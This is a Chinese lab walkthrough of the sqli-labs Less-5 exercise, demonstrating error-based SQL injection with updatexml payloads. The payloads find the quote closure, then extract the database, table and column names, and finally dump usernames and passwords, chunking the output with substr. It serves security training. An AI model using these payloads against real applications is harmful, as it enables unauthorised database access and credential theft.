SQL注入实例(sqli-labs/less-5)

0、初始页面

1、确定闭合字符

复制代码
?id=1 and 1=1 
?id=1 and 1=2
?id=1'
?id=1' --+

在进行前两句传参时,页面没有发生任何变化,但是当使用单引号闭合时,报错了。通过报错可以确定闭合符号为单引号。

2、爆库名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 

3、爆表名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

4、爆列名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e),1)--+

5、查询最终目标

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+

因为concat有字符长度限制,所以需要substr搭配使用

复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),1,32)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),32,64)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),64,96)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),96,128)),0x7e),1) --+
相关推荐
Amctwd2 分钟前
【PostgreSQL】不开启归档模式,是否会影响主从库备份?
数据库·postgresql
寻找沙漠的人9 分钟前
Redis 缓存
数据库·redis·缓存
做科研的周师兄28 分钟前
基于世界土壤数据库(HWSD)的中国土壤数据集(v1.1)(2009)
数据库
_extraordinary_1 小时前
MySQL 事务(一)
数据库·mysql
计算机人哪有不疯的2 小时前
Hadoop的组成,HDFS架构,YARN架构概述
大数据·数据库·hadoop·spark
文牧之2 小时前
Oracle 通过 ROWID 批量更新表
运维·数据库·oracle
LLLLLindream2 小时前
Redis——达人探店
数据库·redis·缓存
一只鹿鹿鹿2 小时前
智慧能源大数据平台建设方案(PPT)
java·大数据·数据库·能源
时序数据说2 小时前
IoTDB 分段查询语句深度剖析:GROUP BY 与时序语义的完美结合
大数据·数据库·开源·时序数据库·iotdb
luo_guibin2 小时前
DVWA在线靶场-SQL注入部分
数据库·sql·mysql